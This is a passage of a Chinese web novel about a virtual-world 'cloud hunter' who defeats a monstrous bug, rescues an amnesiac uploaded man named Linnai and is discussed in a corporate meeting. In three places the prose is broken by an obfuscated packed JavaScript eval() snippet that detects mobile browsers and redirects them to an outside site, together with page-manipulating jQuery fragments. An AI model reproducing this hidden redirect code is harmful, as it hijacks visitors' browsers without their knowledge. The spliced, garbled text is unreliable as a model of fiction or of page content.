她从没向迪皮卡保证过她的安全,但此时此刻,她想让她活下去,她想一脚踹翻这些故事的放映机,然后把这些讨厌的故事通通砸个稀巴烂。 警告的啸叫声充斥着贾思年的脑袋,她的视野里满是猩红。意识体在持续断裂,系统的危险警告在她眼前不断闪烁。 还有二十秒,她就会意识解体,魂飞魄散。 她大吼了一声,用尽了强化剂带给她的全部精神力,她残破的身体被撕开了更大的口子,但迪皮卡开始被向上拉动。 忽然,几道金光像绷带一样横七竖八地把贾思年撕裂的意识体捆了起来,贾思年瞬间痛得痉挛,但视野里的系统警告消失了,她立刻把迪皮卡拉到了雪地上。 金色的光同样罩在迪皮卡的身上,把她解体的像素又一块一块地拼了回来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537532|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>突然,冰窟里又发出了雪崩时的巨响,极寒的风从地底冲向空中,寒风带起大量细碎的冰粒,暴风雪一般笼罩在贾思年身边。 贾思年用手挡在脸前,根本睁不开眼睛。 过了一会,风停了。 贾思年睁开了眼睛。 一颗三层楼高的人头出现在她面前。 它的皮肤青紫,表情惊恐万状,张着红褐色的血盆大口,冰冻的眼球向外突出。肿胀的皮肤上生着水疱,有的水疱破裂,渗出红褐色的液体。 贾思年拖着迪皮卡就跑。 “把她交出来,你可以回去。”她突然听到许多人在齐声对她说,好像一首妖异的合唱。 贾思年疑惑地停下脚步,回头望去。 原来并不只有一颗人头,至少几十颗硕大的人头串在了一起,形成了一条青紫色的巨型蜈蚣! “恐怕不行,先生们。”情绪体打造的匕首已经悄然出现在贾思年手上。 所以这个怪物才是漏洞的本体,接下来只要把它解决就行了。 “爸爸!”贾思年突然听到趴在雪地上的迪皮卡在大喊。 贾思年一愣,向上望去,发现蜈蚣的最顶端,塔帕先生的头颅赫然在目。 啧,麻烦了。 本来她只需要干掉这个怪物就可以完成任务,现在她恐怕要挨个确认还有没有人被困在怪物的身体里了。 在这种时候考验人性吗?她的人性简直不堪一击好吧? 她手中的匕首变成了长长的鞭子,捆上了蜈蚣的身体。 “躲起来,相信我。”她转头对迪皮卡扯出了一个难看的微笑。 “卑贱的诺雷人,可笑!”蜈蚣上的人头一齐对贾思年吼道。 贾思年在蜈蚣的拉扯下飞上了天空。 她在空中迅速收短手里的鞭子,整个人落到人头蜈蚣的身上,她从背包里调出了愤怒情绪体打造的拳套,拳套在她手上立刻变成了一副利爪。 贾思年把利爪嵌进人头蜈蚣的皮肤里,迅速下落到蜈蚣的最后一节,手套在蜈蚣的表面划过,留下了长长的红褐色的伤痕。 人头蜈蚣似乎感受到了痛,它猛地甩尾,不断撞击着附近的冰壁。贾思年死死地抓住它的皮肤,然后在视野里调出了云端猎人配备的上载体识别组件。 眼前硕大的人头被识别成了情绪体,是几乎拥有所有情绪的完整情绪体,这和脑机用户的意识体几乎没有区别。贾思年心中一惊,然后更惊讶地发现它完全没有自主意识。 这合理吗? 但是贾思年没空疑惑,如果不是这几条突然出现的金色绷带,她这会儿应该已经在冰壁上被摔成一个烂番茄了,她举起匕首猛地刺了下去,巨大的人头立刻开始像素瓦解。人头蜈蚣似乎又一次感受到了疼痛,剩余的人头齐声尖叫,长长的身体开始在空中翻滚。 贾思年趁着机会抓着蜈蚣的身体向上飞奔,像一头迅捷的猎豹。 第二个人头,第三个人头……全部都是失去了自主意识的情绪体,贾思年看到自己的体力值又变成了红框,她喝下了两管体力补剂。 这可不行,继续这样耗下去,没等问题解决,她就会失去体力被迫挂机了。贾思年看着前面还有几十个巨大的人头,她手脚并用,开始向蜈蚣的头奔去,两条长长的钩锁一齐发射,勾住了蜈蚣的头,贾思年被拉扯着向着蜈蚣的头飞去。 是塔帕先生的情绪体,同样失去了自主意识。 别无选择。 锋利的匕首刺进了塔帕先生的眉心。 忽然,开裂的伤口里冲出了一道强光,贾思年死死地握住匕首向下划去,被白色的强光闪得几乎失明。 她看到一群人站在雪山上。 他们穿着登山队向导的橙色工作服,黝黑的脸上露出宽厚的笑,衬着他们雪白的牙齿。 他们是唯一能成群越过德沃诺山脉的鸟。 “谢谢你。”她听见塔帕先生的声音。 “告诉我们的家人,我们能听见他们在接入仓前的祈祷。” “我也永远爱他们。” 向导们的话在贾思年的脑袋里回响,独特的当地口音在冷风里留下粘稠的尾音,她突然意识到自己好像犯了一个巨大的错误,该死的识别组件不是说他们失去了自主意识吗?那现在跟她说话的是什么? “我们已经回不去了,很感激你带来解脱。” “请把我们的护身符带给我们的家人,拜托你了!” 几十个被标记成情绪体的项链出现在了贾思年的背包里,眼前的雪地瞬间山崩地裂,山上的人们在笑着挥手告别,橙色的像素分解,像他们的家人在白塔前焚烧树枝燃起的烟雾,最终又回到了雪山上。 贾思年感到自己在下坠。 她突然觉得好疲惫。 她合上了眼睛。 4. 吃人的雪山(三) 贾思年在雪地里醒来。 她看着眼前的蓝天,意识有些错乱。 ……这是在哪? 她眼神涣散,觉得有点恍惚。 忽然,她的眼睛重新聚焦,她慌忙地打开私有频道,大声问道:“迪……阿太,你怎么样?还好吗?” “……我没事,贾,我很好。”频道里传来阿太虚弱的声音。 不管怎么说,迪皮卡没事,贾思年长舒了一口气,她试图坐起来,疼痛瞬间冲击着她全身。 “嘶!”贾思年躺回雪地上,痛得眼冒金星。 她突然想起了刚才出现的金色绷带,她唤起背包,在几十条情绪体项链里发现了一个特别的东西。 “怜悯”,一件金色的铠甲,是贾思年刚刚无意中抽离出来的情绪体,她把它调了出来,铠甲又变成了一条长长的绷带,顺着她的身体把她裹了起来。 贾思年觉得好受多了,她坐起身来,发现自己身处高台,高处让她有一些后怕,她不禁后退了两步。贾思年向另一边望去,不远处有一个黑漆漆的山洞,她调出离线地图,发现自己就站在之前漏洞追踪到的山洞前。 先前标记的红点已经消失了,取而代之的是一个闪烁的绿点。 这又是什么鬼啊? 贾思年有点厌烦了,自从她突然发现自己没法下线之后,一切正常的东西都开始反常。按照以往,任务完成后追踪标记消失,她就可以上报总部,拍拍屁股拿钱走人了,可现在这个布灵布灵的小绿灯又是个什么东西啊? 怎么喝凉水都塞牙缝! 贾思年叹了口气,不情不愿地从背包里调出了头灯,向着山洞走去。 走近了,她隐约闻到了一股血腥的气味。 ……饶了我吧大哥。 贾思年心如死灰,皱着眉头从背包里调出一把手枪,这是“快乐”抽离出的情绪体。 她打开毛线帽外的头灯,眼前的一幕使她不由得后退:山洞深处躺着一个异常庞大的动物躯体,尸体的旁边堆了一摊看不清的东西在隐隐发出巨大的腥臭味,地上滚落着它张着血盆大口的头颅,似乎是一颗熊的头,它被割下头之前被刺瞎了双眼,眼睛已然成了两个黑色的洞。 两条几乎干涸的血迹从两个洞延伸到地面,像故意刷上的褐色油漆。 贾思年的大脑经历了短暂的短路之后开始飞速运转。 请问海拔五千米的山洞为什么里会有熊的尸体?它是觉得春天来了天气热了所以哪凉快哪待着了吗? 这不会是刚才的漏洞留下的东西吧? 而且这熊是吃了啥,这肚子是不是也太大了一点? 等等。 这熊的肚子。 她迅速举起了手枪:“有人吗?” 事出反常必有妖,然而识别组件显示这头熊已经是被废弃的一堆像素,那就只有人才能装神弄鬼了。 她大概看懂了,有人杀了这头熊,掏出了它的内脏,现在就躲在熊的肚子里。 贾思年举着枪慢慢靠近巨熊的尸体,她的冰爪踩到了地上半干涸的血迹,发出踏踏的响声。 “你好?有人吗?”她的声音在洞穴里回荡。 贾思年早就习惯了这股血腥味,她死死地盯着熊的躯体,忽然,那熊的身体好像动了一下,她停下了脚步,握紧了手枪,紧张地看着那个移动的凸起。 不一会儿,贾思年看到一只沾满血的手伸了出来。 “……救命……”熊的尸体中传来微弱的声音。 没有诺雷人的浓重口音,是标准的祖玛拉尼语。 贾思年立刻收起了手枪,快步走上前拉住了那只湿漉漉的手。 是个男人的手,她慢慢把那只手往外拉,一个年轻男人的头露了出来,男人的头上脸上也布满了血迹,茫然地看着她,贾思年分辨不出那是他自己的血还是熊的血。 “有没有受伤?”她紧张地问,她调整了一下头灯的方向,一边双手用力往外拽一边说:“你现在怎么样?” 男人没有回答,却把头转到另一边不再看着她。 很快,浑身赤裸的高大男人被从熊的肚子里拉了出来,他浑身粘着黏糊糊的血液,蹲在地上,整个人蜷缩起来瑟瑟发抖。 贾思年用识别组件对他进行了扫描,是个上载人。 她没有在他身上发现什么伤口,心里稍微松了一口气,她蹲了下来,从背包里调出一条宽大的运动毛巾,开始擦拭男人头上的血迹。 浓稠的血液混在发丝里,一时很难擦得干净,但是可以勉强看出来他原本有一头漂亮的银色长发,贾思年把他的头发捋起来放在他身前,继续清理他后背上的血迹。 男人很瘦,但是能看出扫描的本体很精壮,像是规律的锻炼加上轻微营养不良的结果,再加上他刚才纯正的祖玛拉尼语,贾思年有些奇怪,问道:“你怎么到这里来的?” 男人依旧一声不吭。 贾思年继续说道:“我叫贾思年,是云端猎人,刚刚在这附近执行任务。” 她一边继续清理男人环抱双腿的手臂一边问:“你在这里多久了?”她看了看地上干涸的血迹,突然发觉男人应该已经困在这里至少两天了。 “天呐。”她立刻打开背包,扒拉了半天才找到两个含有精神插件的压缩饼干。 精神组件对于脑机用户来说是提高精神力的手段,但是对于上载人来说,消耗精神组件相当于是给服务器续费,所以“不吃不喝”对于上载人来说是真的会死。 贾思年把压缩饼干递给他:“你的背包里有正经的精神补充剂吗?” 男人迷茫地看着她,好像根本听不懂她在说什么,他盯着贾思年手里的饼干吞口水,迟疑了片刻后,突然接过食物开始狼吞虎咽起来。 贾思年脱下防风外套,披在男人背上,看着他把饼干塞进嘴里,突然发现有泪水顺着他俊美的脸滑落。 “怎么了?你受伤了吗?”她的神经又一次紧张起来。 男人依然不说话,但这次摇了摇头作为回应,贾思年擦掉了他脸上的泪水,笑着对他伸出手:“你自己能站起来吗?” 男人湿漉漉的绿色眼睛里好像突然有了光,他点点头,抓住了她的手。 贾思年拉他站起来,才发现他足足比她高了一头,她脱下围巾系在男人腰间,继续蹲下擦拭他腿上的血迹。男人双手紧张地抓着身上的防风外套,依旧冷得浑身发抖。 “剩下的地方你自己来。”贾思年把已经沾满血迹的毛巾递给他,然后背过身去调出了自己的羽绒睡袋,她示意男人进去,然后又在睡袋外面用帐篷的防寒垫缠了一圈。 “还好带了绳子。”贾思年龇牙咧嘴地把裹成粽子的男人绑在了背上。 男人比她高大许多,她摇摇晃晃了几次才找到了平衡。她感觉到身上的伤还在隐隐作痛,咬着后槽牙对着私有频道里的阿太说:“……我发现了一个男人,被困在山洞里。” “……什什什什么?”私有频道里传来阿太难以置信的声音。 “我带着他没法速降了,我们裂缝见吧。” 贾思年又一次在雪地里机械地搬动自己的双腿,只不过这次面罩下的呼吸声远比来时沉重许多。意识体的裂痕还在隐隐作痛,而背上的高大男人好像一个死气沉沉的沙袋,贾思年在冷风里连他的呼吸声都听不到。 “你还好吧?”她碰了碰他大声说。 “嗯……”还是一副半死不活的声音。 贾思年翻了翻白眼。 这人怎么回事啊? 怎么好像是自己上赶着救他一样? 但她转念又想到了那山洞里的情形,觉得他可能是吓傻了吧,毕竟不是所有人都是每天跟怪物打交道的云端猎人,下山得给他找个维护好好看看。可她突然又觉得哪里不对:“你赤手空拳怎么干掉两三米的熊的?” 然而回应她的只有沉默。 应该有一把短剑才对。 贾思年回想起男人手上的老茧和身上清晰可见的肌肉线条,配上他标准的祖玛拉尼语,她已经能想象到他在中心社区的华丽宅院里学习剑术的模样,但这短暂的幻想又被那颗流着血泪的熊头敲碎,贾思年记起熊头整齐的刀口和被刺瞎的双眼。 真的有人能使用短剑一击削下那么大的熊头吗? ……而且那把至关重要的剑去哪了? 反常的事也太多了,贾思年已经开始考虑到底要不要把这个麻烦带回金港,就算直接把他扔在这也不会有人知道吧?她偷偷地想。 又开始考验人性了是吧?她叹了一口气。 直到贾思年终于看到了已经等候多时的阿太,来到裂缝旁边抻着脖子向下望去时,她又一次坚定地认为自己的人性非常脆弱,根本经不起任何考验。 最窄处也要六米宽的冰裂缝,向下看一眼就是万丈深渊,贾思年感到一阵眩晕,她好像又开始幻视那裂缝里布满了冰封的残肢,她甩了甩头,立刻收回了目光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那好像是一个夏天的午后,耳边的寒风变成了喧闹的蝉鸣,她摇摇晃晃地站在远远高于自己身高的平衡木上,她觉得害怕,汗水从她的头上流进了毛线帽里,那个女人站在平衡木的另一端,又好像出现在梯子的对面,让她一定要走过去。 “你要克服你幻想出来的恐惧,你过去一向走得很好。”那女人开口说。 是的,她很擅长在栏杆上保持平衡,她常常在家门口的栏杆上摇摇晃晃地走来走去。但她看了一眼地面,她还是害怕了,觉得自己掉下去就会摔成一块肉饼。 所以第一次走真正的平衡木时,年幼的贾思年最终是爬过去的。 就像现在一样。 贾思年爬到了裂缝中间,雪山上吹来的阵阵寒风让梯子摇晃得更剧烈。 “心无旁骛。”她在心里默念。 她一向走得很好。 就像当年她爬平衡木时一样,贾思年的心里突然异常的平静。 她的眼前只剩下一条梯子。 她听见自己的冰爪敲击在梯子上发出规律的踏踏声,像地下街区的家里那只老旧的钟,呼啸的风仿佛和时间一起在此凝固,只随着敲击的钟声有条不紊地移动。 “嗒、嗒、嗒……” 贾思年的膝盖终于稳稳地跪在了雪地上,她趴在雪里,重新听到了寒风呼啸,她发觉自己的保暖衣已经全部被冷汗浸湿。 “我们安全了。”她对身后的男人说,她解开身前的绳扣,和他一起躺在雪地上。 “你还真听话。” 能再次看到蓝天从未让贾思年的心情如此愉悦。 轻舟已过万重山,她又一次侥幸逃脱了。 贾思年忍着痛费力地从雪地里站起来,发现阿太一脸心事地站在原地。 “阿太你……是个女孩对吗?” 阿太没有看她,点了点头。 “有人想让我给你一些东西。” 贾思年打开背包,把几十条绑着铭牌的项链拿了出来,各种彩色的石头和牦牛的骨头在风里互相碰撞,发出叮叮当当的响声。 “塔帕先生和我说,他也永远爱你。” 迪皮卡的手颤抖着接下了那些被标记成情绪体的项链。 她看见其中一个铭牌雕刻着“阿尼尔·塔帕”的字样。 她跪坐在了雪地里。 寒风里只剩下撕心裂肺的痛哭。 …… 贾思年又一次背起了她在山洞里捡到的男人,走在返回营地的路上。天色逐渐昏暗,她的意志力和体力值都在快速地流失,她咬了咬牙,又拉紧了些身上的绳扣。 “我X!”情绪体绷带的效力随着精神力减弱了,痛得她叫了出来。 “对了小哥,你叫什么名字?”她呲牙咧嘴地对身后的人问道。 “……林奈。” 过了一会儿,贾思年听到耳边传来微弱的声音。 5. 任务记录:贾思年8261 詹娜坐在办公室里飞快地敲击键盘,空中漂浮着各种会议纪要和数据监控的窗口,她的眼睛里流过形形色色的报表和数据,手指仿佛在键盘上移形换影。 自从凯瑟琳突然离世,她已经在上载世界超速运行了三天了。 忽然她听到有人在公司的内部频道呼叫她加入会议,她停止了敲击键盘的动作,抬起手想要揉一揉太阳穴,但又马上意识到自己现在在上载世界。 詹娜轻轻叹了口气,接入了会议。 “詹娜也来了,我们开始吧。”她听见了席尔的声音。 “好的,第一件事是针对脑机用户贾思年8261的问题报告。” “她的数据已经修正,但运维和技术部并没有给出这个问题产生的明确原因,运维倾向于联合技术部门组织现有代码重新审查,技术部门认为问题可能来自外部攻击。” “有被攻击的记录吗?”席尔打断了汇报。 “目前没有发现。” “好,继续。” 甩锅也是工作的一部分,詹娜听得耳朵起茧,她只是非常在意究竟是什么原因能让一个脑机用户实例化成了上载人,如果这样的事以后频繁发生,恐怕要再多部署三倍的近地轨道服务器了。 “接下来要汇报的是用户贾思年8261这次的任务记录,她这次遇到的漏洞比较特殊,这是由她上传的录像还原的完整过程。” 詹娜的眼前出现了一个穿着红色防风服的人,那人正趴在冰雪堆成的悬崖边上,似乎用尽全力在拉住一个悬在空中的人。 “这个穿红色衣服的影像就是贾思年的意识体,她和另外一名脑机用户,迪皮卡·塔帕6297,一起被卷进了漏洞制造的虚拟场景,两名用户均表示,在进入虚拟场景的初期,她们的记忆被篡改了。” “什么?……”会议里开始有议论的声音。 漏洞会篡改记忆? 詹娜的眉头紧蹙,她从来没有听说过这样的漏洞。 詹娜看见贾思年的视野里冰封的残肢和撞死的鸟,觉得有点恶心,合成的录像上渐渐蒙上了一层红色,贾思年的意识体被撕裂了,视野里开始闪烁系统警告。 詹娜倒吸了一口冷气,然后她看见几道金光把画面里撕裂的意识体重新捆了起来。 “这是什么?”她按下了暂停。 “这是她偶然抽离出的情绪体,这也是一个值得注意的点,我们了解到,贾思年只抽离了悲伤、愤怒和快乐三种基础情绪体,这个偶然出现的是怜悯。” “怜悯通常是信任和悲伤的复合情绪体,可是她的背包里没有信任。” “有天赋的暴力分子,”詹娜打断了汇报人的解释,“继续吧。” 接下来就是贾思年与巨型人头蜈蚣的战斗画面,詹娜听到会议里传出了阵阵干呕的声音,秘书正把他们逐个闭麦。 然后詹娜看见了站在雪山上的人们。 她瞪大了眼睛,惊得说不出话来。 会议里响起了霍滕西亚的声音:“这么难得的实验样品,她居然就这么把它们砍了。” “然后呢?完整的情绪体变成了一堆垃圾?”影像暂停在贾思年收到了几十条诺雷人的项链。 “我可以收购这些垃圾吗?”霍滕西亚在等着其他几位创始人首肯。 “同意。”是席尔的声音。 “同意。”詹娜没什么理由拒绝。 “我没有意见,回收和研究就都交给你吧,霍滕西亚。”斯诺的声音忽然响起。 斯诺? 詹娜没有注意他什么时候加入了会议,他不是最近在给阿萨菲尔准备上载吗?怎么突然出现在这? “阿萨菲尔身体还好吗?”詹娜问道。 “还可以,不过凯瑟琳的骤然离世确实让他很受打击。” “打算什么时间上载?”席尔问道。 “很快了,他打算下周过完生日就上载。” “我入会比较晚,听你们说这次这个漏洞有些特别?” “是的,这次的漏洞先使43名脑机用户意识丢失,后来又在虚拟场景中篡改了一名脑机用户和一名上载用户的记忆。”席尔回答道。 “并且她们发现之前丢失的用户还有少量残存的意识。”席尔补充。 “然后呢?” “上载用户是之前出bug的云端猎人,她居然就这么把这个样品给砍了。”霍滕西亚深表遗憾。 “唯一的好消息是公司不用再持续向之前的43个人负责了。”她又说道。 “这倒是,我会后找人折算一下,给他们家属一次性赔偿完吧。”斯诺说道。 “这次这个漏洞问题比较大,我建议同时组织现有代码重新审查和安全问题排查。”席尔似乎在把会议重新拉回正轨。 “同意。”詹娜立刻附和。 “这是一定的,你们两个来安排吧。”斯诺说道。 “詹娜,凯瑟琳之前负责的AI相关的部门恐怕还要你代管一段时间,我们计划下个月举行任命会。最近人员变动比较多,各位辛苦了。” “好的。”詹娜回答道。 自从阿萨菲尔生病以来,斯诺说话真是越来越像正牌老板了。 詹娜无声地冷笑,不过这件事对她其实没什么影响,阿萨菲尔也好,他弟弟斯诺也好,谁当老板对她来说都一样。 上载集团总要有个老板,不管是谁坐在这把椅子上,他们的脑子最后都会变成一个模样。只要上载世界继续运营发展,詹娜·林奈的目标就总有一天会实现。 …… 昏黄的灯下,一个穿着接入仓专用紧身服的女人,正在从高大的货架上拖下来一个又一个整理箱,紧身服勾勒出她纤长的身体,黄色的灯光给她的肌肉涂上了明和暗的色块。 贾思年从这些整理箱里翻出各种器械,逐渐淹没在了奇形怪状的机器中。 “我这里倒是有很多可以下载的机器人,但都不是正经的受体机器人。”她对着手环里的男人说道。 “这个怎么样?”她一脸坏笑地拿起一个长着八个鸡爪的机械蜘蛛。 手环里的男人一声不吭。 “你这人真是一点幽默感都没有。”贾思年嬉皮笑脸地放下了蜘蛛。 “那就这个吧!”贾思年从另一个箱子里拿出了一个铅球大小的金属球。 “长得像你一样无聊,关键时刻还可以使用头槌打出致命一击。” 她顺手拿起架子上的抹布擦了擦球上的灰,然后上楼回到了卧室里。 “我记得这台脑机接入仓应该也支持下载,你稍等一下噢。”贾思年打开床尾的投影,扯出了一把键盘,在电脑上搜索家里这台十几年前生产的老古董接入仓,她翻了半天,终于找到了说明书。 “嗯……简单。”贾思年在抽屉里翻了半天,最后扯出了一条同样老古董的数据线,在接入仓的脑机接口下面摸到了一个数据线的接口,然后把手里的金属球和接口连在了一起。 “你把状态栏调出来,选项里应该有个现实交互,类型选择非常规受体机器人,应该就可以自动扫描了。” 手环里的男人依旧不作声,过了一会儿,金属球的屏幕亮了起来,里面是两只绿色的像素风豆豆眼。 “成了!不愧是我!” “不过你还得在这充会儿电。”贾思年把数据线拔了下来,又插到了墙上的插座上。金属球的屏幕闪了一下,然后又重新亮起了两只眼睛。 贾思年松了一口气,坐在了床上。 “好了,现在可以说说为什么不能找警察了吧?”贾思年单手托着腮,饶有兴味地看着金属球的豆豆眼。 “有人要杀我。”金属球把脸别到一侧,用拟人成小孩子的合成声音一本正经地说。 “谁要杀你?” “……不知道。” “那为什么不能找警察?” “警察也要杀我。” “警察为什么要杀你?” “……不知道。” 倒也不算完全的一问三不知,只能说知道的不多。 贾思年有点无语,她决定换个问题。 “你叫林奈?是林奈家族的人吗?” “……不知道。” “那你是姓林奈还是名字叫林奈?” “……不知道。” “……你还知道什么其他的事吗?” “……不知道。” …… 好了这回是彻底一问三不知了。 贾思年向后躺倒在床上,考虑着应该拿这个上载人怎么办。 先相信他说的都是实话,那这个人现在几乎完全失忆了,贾思年从接入仓爬出来之后试图跟他沟通了半天,发现他知道地下社区,也知道上载世界,但是对于他是谁这个问题,他的了解程度只比贾思年多了一个他自己的名字而已。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537534|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不能说是完全傻,只能说是不太聪明。 再就是不能找警察。 贾思年眼珠转了转,不如让他留下来给我打工吧! 贾思年扑棱一下坐了起来,抓了抓三四天没洗的卷曲短发,假装为难地对面前的金属球说道:“你看这样行不行,你给我当助手,我帮你给服务器续费,但先说好,我只能维持你最基础的运转。” “至于你是谁……这事你自己慢慢想吧。” 金属球沉默了一会儿,“好的。”它发出声音。 至此,贾思年的压榨对象终于不只有她自己了。 她才懒得去在意合成声音里的落寞。 因为她自己现在也非常失落,她本来以为天上的馅饼终于长了眼精确制导到了她的头上,结果原来是空欢喜一场。 上载集团现在的CEO,林奈家族的家主,就是阿萨菲尔·林奈。三十多年前,在他带领整个团队正式接手集团之前,上载世界还只是一个可以脑机接入的全息游戏。 当贾思年得知山洞里捡的上载裸男叫林奈时,还以为自己捡到了地主家的傻大儿,路上就已经在幻想把他带回去之后,林奈家族会给她多少钱作为答谢。 但是现在贾思年显然被一盆凉水浇了头,这个人大概率只是名字叫林奈。地下社区里叫这个名字的人很多,很多人都期待自己的孩子也能成为阿萨菲尔·林奈这样的大人物。 “不过你好歹是个上载人,这么年轻就能支付起上载费用,家里应该还是有点实力的,真的不需要帮你找找家人吗?”贾思年问道。 “不行。”金属球回答得斩钉截铁,“不能让警察知道。” “好吧,好吧,随便你。”贾思年摆了摆手站起身来,“你就在这充电吧,我去洗个澡。” 用上载人基础运转的费用换个助手,贾思年稳赚不亏,只是基础运转包括的感官和情绪很少,只能像给机械球充电一样勉强维持他的意识存留,贾思年对林奈的遭遇作兔死狐悲。 真是落难的凤凰不如鸡。 贾思年洗过澡,拿起一条毛巾,胡乱地擦着头发上的水。她随手抹了抹镜子上的水汽,出神地盯着镜子里的自己,水滴划过她小麦色的皮肤和紧实的肌肉,贾思年陷入了沉思。 雪山上发生的一切都不对劲。 云端猎人的工作就是按照系统追踪找到怪物,然后把它们干掉,她从来没见过能造成失忆的怪物。 最重要的是,她清楚地记得自己一开始根本没有意识到被卷入了陷阱,甚至她脑子里似乎还有另外一个人的记忆,一个完全不属于她但是又异常真实的记忆。 她当时理所当然地认为自己是一个上载人,并且加入了计划登顶威迪文峰的登山队。她甚至还能回想起临行前一天吃的烤土豆和牦牛肉的味道,所有的细节都是精心设计好的,简直就像是……她亲自经历过一样。 是什么时候意识到事情不对呢? 贾思年想起了那些鸟。 “嘶。”她突然觉得头痛欲裂,她一手扶着头,一手艰难地撑着镜子。 也就是说在陷阱里会被注入虚假的记忆,事情的走向也许根本无法预测。 全靠运气和临场发挥? 那万一她倒了大霉直接掉进裂缝里,岂不就这么不明不白地死了? 她的脑袋里突然响起那怪物好像几十个人一起合唱的声音,它说把迪皮卡留下,自己就可以离开。 贾思年心里对这个怪物扩张的方式有一个大致的判断,这个漏洞应该是先分解再重组,分解后加入新的成员,再把这些成员重新组合在一起。 但是为什么它只要迪皮卡不要贾思年,贾思年想不通。 这漏洞怎么还搞歧视?只要本地人是吗? 不过这些录像已经交给上载集团了,此时此刻想不通的人肯定不止她一个。 但是上载集团……显然靠不住。 虽然回来后已经有技术人员向她解释,他们给她的紧急发信器只能在有信号覆盖的地区使用,而谱尼迪威山上本来就没有信号覆盖,落入陷阱后又被彻底屏蔽了。 但是一开始他们忽悠贾思年接任务的时候可不是这样说的。 如果这样恐怖的漏洞今后频繁出现,不管上载集团会做出什么样的动作,贾思年都觉得这件事她要亲自调查才能放心。 狗命要紧,她得好好掂量一下到底还要不要做云端猎人了。 6. 沼泽里的国家(一) 黑色的快艇像水面翻腾的虎鲸,在碧绿的海面上扬头跳跃,船尾留下两串白色的泡沫。船上的复古收音机放着喧闹的摇滚乐,混着船体发出的巨大发动机声。 梳着银色马尾的高大男子勉强把自己固定在船边,透过望远镜漫无目的地望着岸边一成不变的树林。 戴着墨镜的短发女人站在船尾,单手搭在方向盘上,一边放声跟唱,一边又加足了马力,然后对着男人美丽的侧脸大喊:“林奈!如果今天没找到,我们明天继续来找!” 林奈精致白皙的脸瞬间整个垮掉,扔下手里的望远镜转头咆哮:“还来?!这是什么度假啊?!已经找了五天了,你好歹告诉我要找什么东西啊!” “哦哦哦???你在生气吗?”贾思年的嘴成了一个夸张的O形,伸手调低了收音机的音量。 贾思年有点惊讶,她以为自己给林奈续费的上载服务应该没有“生气”这么高级的东西。不过毕竟她也没见过这种低质运行的上载人,现在看来情感竟然还挺丰富,没准将来自己也可以选这个穷鬼套餐。 “我没有!”林奈生气地说。 贾思年小麦色的脸上很快又流过转瞬即逝的为难,大声对林奈说:“你找到了就知道是什么啦!” 五天以来,贾思年每天都在上载世界拉着林奈在一个叫阿库普拉的海岛附近转圈,美其名曰度假,并让林奈找一个他根本不知道是什么的东西。没有目标的徒劳让林奈逐渐崩溃,贾思年倒是每天兴高采烈地把船开得飞快。 林奈终于在忍无可忍中爆发:“你自己来找!我不干了!” 贾思年立刻收敛起来,墨镜滑落到鼻梁中间,眨巴眨巴像猫一样的黑色眼睛,对林奈露出讨好又幸灾乐祸的笑脸:“别生气嘛,再仔细看看,时间不早了。” 这副表情但凡出现在别人脸上,林奈都会想一拳揍上去,但奈何对方是贾思年,林奈重重地叹气,又重新捡起望远镜看着不远处的树林。 这不是欺负人是什么? 夕阳西下,晚霞如火,海面波光粼粼,颜色逐渐变深的海水像揉进了锦缎,在微风吹拂下闪烁跃动。 林奈放下望远镜,这几天里,日落是他最快乐的时光。 主要是意味着下班了。 林奈绿色的眸子微微眯起,在扑面而来的海风里发呆。 突然,眼前的树林里发出刺眼的光。 这是什么? 林奈被拉回了现实,透过望远镜,林奈看到有道闪亮的光线笔直地竖在眼前的林子里,但很快又消失了。 林奈很疑惑,转头对着贾思年说道:“贾,我好像发现了什么……” “你说什么?”贾思年在各种噪音里好像聋了一样。 “我说这里好像有什么东西!”林奈冲着她大喊。 贾思年墨镜下的脸似乎愣了一下,她熄了火从驾驶舱向他走来,摘下墨镜挂在背心的领口,疑惑地问:“发现了什么?” “但是现在不见了”,林奈很没底气,“似乎是什么东西在发光,刚才就在对面的林子里。” 不见了? 发光? 贾思年盯着海面若有所思,忽然她看到海水明暗相交的波纹,又转头看了眼人造太阳。 “你继续朝着刚才的方向看,找到了立刻喊停船。”她快步回到方向盘前,船开始往回行驶。 很快,林奈又看到了那条光线:“停船!” 贾思年停下船跑过来,不必透过望远镜就能看到树林里的光,好像阿库普拉岛被裁了一个整齐的口子,露出内里的流光溢彩。 贾思年愣住了,没有意识到自己起了一身鸡皮疙瘩。 这是个什么东西啊? 不会是还没被系统收录的漏洞吧? 未知的恐惧在贾思年的身体里短暂地蔓延,但她很快冷静了下来,毕竟光凭这也确定不了什么,有可能是有人吃饱了撑的在这里恶作剧,她拍了拍林奈的肩膀,敷衍地夸赞道:“太厉害了林奈,我们过去看看。”然后立刻回身去开船了。 林奈对贾思年的态度满头问号。 他一直以为这个莫名其妙的工作不过是贾思年在欺负人,虽然他并不介意被她欺负,但是现在看来,她不告诉他具体要找什么并不是奇怪的恶趣味,更像是她自己也不知道要找的东西是什么。 他早有这种预感,但是贾思年的反应让他更加坚定了:她从没相信林奈真的能找到什么东西。 “所以这是什么啊?”林奈想打破有点怪异的气氛,但是问出口后就觉得这个问题似乎起到了适得其反的效果。 